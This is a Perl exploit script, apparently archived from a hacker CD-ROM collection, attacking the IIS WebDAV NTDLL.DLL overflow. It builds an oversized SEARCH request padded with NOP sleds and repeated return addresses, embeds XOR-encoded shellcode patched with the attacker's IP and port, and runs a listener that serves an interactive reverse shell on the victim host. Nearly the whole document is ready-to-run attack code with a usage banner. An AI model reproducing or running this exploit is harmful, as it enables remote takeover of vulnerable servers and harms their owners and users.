home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 15 / hacker15 / 15_H4CK3R#15.ISO / eploits / webdav / webdav_ex.pl < prev   
Encoding:
Perl Script  |  2004-03-03  |  7.2 KB  |  265 lines

  1. #!/usr/bin/perl 
  2. ###############
  3.  
  4. ##
  5. # webdav_ex.pl - hdm@digitaloffense.net
  6. ##
  7.  
  8. use strict;
  9. use POSIX;
  10. use IO::Socket;
  11. use IO::Select;
  12. use Getopt::Std;
  13.  
  14. sub Usage {
  15.     my ($targets) = @_;
  16.     
  17.     print STDERR "\n webdav_ex.pl - IIS WebDAV NTDLL.DLL Exploit\n";
  18.     print STDERR "======================================================\n\n";
  19.     print STDERR "    Usage: $0 -h <target> -p <port> -H <listener ip> -P <listen port> -R <ret address>\n\n";    
  20.     exit(1);
  21. }
  22.  
  23.  
  24. my %args;
  25. getopt('h:p:H:P:R:', \%args);
  26.  
  27. if (! $args{h} || ! $args{H})
  28. {
  29.     Usage();
  30. }
  31.  
  32. my $target_host = $args{h};
  33. my $local_host  = $args{H};
  34. my $local_port  = $args{P} || 4444;
  35. my $target_port = $args{p} || 80;
  36. my $target_ret  = $args{R} || "cc01";
  37. my $listen_pid = StartListener($local_port);
  38.  
  39. my $shellcode;
  40. my $rsocket;
  41. my $request;
  42.  
  43.  
  44. $target_ret = eval("0x" . $target_ret) + 0;
  45.  
  46. if (! $target_ret)
  47. {
  48.     print STDERR "[*] Error: return address must be in form XXYY\n";
  49.     exit(0);
  50. }
  51.  
  52. $target_ret = reverse(pack("s", $target_ret));
  53.  
  54. printf ("[*] Using return address 0x00%.2x00%.2x\n", ord(substr($target_ret, 0, 1)), ord(substr($target_ret, 1, 1)));
  55.  
  56. $SIG{USR2} = \&GoAway;
  57.  
  58. while(<DATA>){ $shellcode .= $_ }
  59. $shellcode = eval($shellcode);
  60.  
  61. my ($a1, $a2, $a3, $a4) = split(//, gethostbyname($local_host));
  62. $a1 = chr(ord($a1) ^ 0x93);
  63. $a2 = chr(ord($a2) ^ 0x93);
  64. $a3 = chr(ord($a3) ^ 0x93);
  65. $a4 = chr(ord($a4) ^ 0x93);
  66. substr($shellcode, 335, 4, $a1 . $a2 . $a3 . $a4);
  67.  
  68. my ($p1, $p2) = split(//, reverse(pack("s", $local_port)));
  69. $p1 = chr(ord($p1) ^ 0x93);
  70. $p2 = chr(ord($p2) ^ 0x93);
  71. substr($shellcode, 330, 2, $p1 . $p2);
  72.  
  73. select(STDOUT); $|++;
  74.  
  75. print "[*] Shellcode size is " . length($shellcode) . " bytes\n";
  76.  
  77. $request = BuildExploit($target_host, $target_port, $target_ret, $shellcode);
  78.  
  79. print "[*] Exploit request is " . length($request) . " bytes\n";
  80.  
  81. AttemptExploit($target_host, $target_port, $request);
  82. kill("USR2", $listen_pid);
  83. exit(0);
  84.  
  85. sub BuildExploit {
  86.     my ($host, $port, $ret, $scode) = @_;
  87.     my ($request, $content);
  88.     my $res;
  89.     my $srv;
  90.     my $url;
  91.     
  92.     $url .= "A" x 2000;
  93.     $url .= ($target_ret x 500);
  94.     $url .= ("\x90\x90" x 13884);
  95.     $url .= ("\x90" x (2000 - length($shellcode)));
  96.     $url .= $shellcode;
  97.     
  98.     $request  = "SEARCH /" . $url ." HTTP/1.1\r\n";
  99.     $request .= "Host: $target_host:$target_port\r\n";
  100.     $request .= "Content-Type: text/xml\r\n";
  101.     
  102.     $content .= "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n";
  103.     $content .= "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";
  104.     
  105.     # how easy can we make this...
  106.     $content .= ("\x90" x 32000) . $scode;
  107.     
  108.     $request .= "Content-Length: " . length($content) . "\r\n";
  109.     $request .= "\r\n$content";
  110.  
  111.     return $request;
  112. }
  113.  
  114. sub AttemptExploit {
  115.     my ($host, $port, $request) = @_;
  116.     my $s = IO::Socket::INET->new (
  117.                 Proto => "tcp",
  118.                 PeerAddr => $host,
  119.                 PeerPort => $port,
  120.                 Type => SOCK_STREAM
  121.     );
  122.     
  123.     if (! $s)
  124.     {
  125.         print "[*] Error, could not connect to $host:$port.\n";
  126.         kill("USR2", $listen_pid);
  127.         exit(0);
  128.     }
  129.     
  130.     print "[*] Sending " .length($request) . " bytes to remote host.\n";
  131.     print $s $request;
  132.     
  133.     print "[*] Waiting for shell to spawn.\n";
  134.     sleep(1);
  135.     return(0);
  136. }
  137.  
  138. sub StartListener {
  139.     my ($local_port) = @_;
  140.     my $listen_pid = $$;
  141.     
  142.     my $s = IO::Socket::INET->new (
  143.                 Proto => "tcp",
  144.                 LocalPort => $local_port,
  145.                 Type => SOCK_STREAM,
  146.                 Listen => 3 
  147.     );
  148.     
  149.     if (! $s)
  150.     {
  151.         print "[*] Could not start listener: $!\n";
  152.         exit(0);
  153.     }
  154.     
  155.     print "[*] Listener started on port $local_port\n";
  156.     
  157.     my $exploit_pid = fork();
  158.     if ($exploit_pid)
  159.     {
  160.         my $victim;
  161.         $SIG{USR2} = \&GoAway;
  162.         
  163.         while ($victim = $s->accept())
  164.         {
  165.             kill("USR2", $exploit_pid);
  166.             print STDOUT "[*] Starting shell...\n\n";
  167.             StartShell($victim);
  168.         }
  169.         exit(0);
  170.     }
  171.     return ($listen_pid);
  172. }
  173.  
  174. sub StartShell {
  175.     my ($client) = @_;
  176.     my $sel = IO::Select->new();
  177.  
  178.     Unblock(*STDIN);
  179.     Unblock(*STDOUT);
  180.     Unblock($client);
  181.  
  182.     select($client); $|++;
  183.     select(STDIN);   $|++;
  184.     select(STDOUT);  $|++;
  185.     
  186.     $sel->add($client);
  187.     $sel->add(*STDIN);
  188.  
  189.     print $client "ipconfig\n";
  190.     
  191.     while (fileno($client))
  192.     {
  193.         my $fd;
  194.         my @fds = $sel->can_read(0.2);
  195.         
  196.         foreach $fd (@fds)
  197.         {
  198.             my @in = <$fd>;
  199.             
  200.             if(! scalar(@in)) { next; }
  201.             
  202.             if (! $fd || ! $client)
  203.             {
  204.                 print "[*] Closing connection.\n";
  205.                 close($client);
  206.                 exit(0);            
  207.             }
  208.             
  209.             if ($fd eq $client)
  210.             {
  211.                 print STDOUT join("", @in);
  212.             } else {
  213.                 print $client join("", @in);
  214.             }
  215.         }
  216.     }
  217.     close ($client);
  218. }
  219.  
  220.  
  221. sub Unblock {
  222.         my $fd = shift;
  223.         my $flags;
  224.         $flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
  225.         fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
  226. }
  227.  
  228. sub GoAway {
  229.     exit(0);
  230. }
  231.  
  232. # shellcode by hsj <hsj@shadowpenguin.org>
  233. __DATA__
  234.  
  235. $shellcode =
  236. "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01".
  237. "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30".
  238. "\x93\x40\xe2\xfa".
  239. "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1".
  240. "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2".
  241. "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93".
  242. "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7".
  243. "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0".
  244. "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8".
  245. "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93".
  246. "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93".
  247. "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0".
  248. "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87".
  249. "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60".
  250. "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5".
  251. "\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90".
  252. "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22".
  253. "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18".
  254. "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92".
  255. "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3".
  256. "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93".
  257. "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9".
  258. "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18".
  259. "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce".
  260. "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6".
  261. "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7".
  262. "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4".
  263. "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca".
  264. "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50";
  265.